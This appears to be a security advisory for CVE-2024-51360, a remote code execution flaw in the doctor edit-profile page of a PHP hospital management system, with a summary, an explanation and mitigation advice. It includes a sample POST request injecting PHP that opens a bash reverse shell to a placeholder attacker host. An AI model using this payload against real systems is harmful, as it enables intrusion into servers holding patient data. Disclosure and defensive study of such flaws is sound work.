Overview
A critical vulnerability has been identified in the Hospital Management System In PHP V4.0, tagged with the Common Vulnerabilities and Exposures (CVE) ID CVE-2024-51360. This vulnerability allows a remote attacker to execute arbitrary code via the hms/doctor/edit-profile.php file, potentially leading to full system compromise or data leakage. This flaw is especially concerning, given the sensitive nature of the data that hospital management systems typically handle.
This vulnerability affects multiple organizations worldwide, particularly those in the healthcare sector using this specific version of the PHP-based Hospital Management System. Its severity underscores the crucial need for effective cybersecurity measures in the healthcare sector, where the potential impact of a breach could be devastating.
Vulnerability Summary
CVE ID: CVE-2024-51360
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
Hospital Management System In PHP | V4.0
How the Exploit Works
The exploit works by sending a specially crafted request to the hms/doctor/edit-profile.php file. The Hospital Management System In PHP V4.0 does not properly sanitize user input on this page, allowing an attacker to inject and execute arbitrary PHP code. This code execution occurs with the same privileges as the application, which could potentially allow an attacker to gain control of the system or access sensitive data.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. This example shows a HTTP POST request with a “doctor” object containing malicious PHP code in one of its properties.
POST /hms/doctor/edit-profile.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
doctor[name]=Attacker&doctor[profile]=<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/8080 0>&1'"); ?>In this example, the attacker injects a command to create a reverse shell, connecting back to the attacker’s machine. This would provide the attacker with command-line access to the server running the Hospital Management System.
Mitigation
To mitigate this vulnerability, it is recommended that users apply the vendor-provided patch as soon as possible. In the absence of a patch, or until one can be applied, users should consider deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.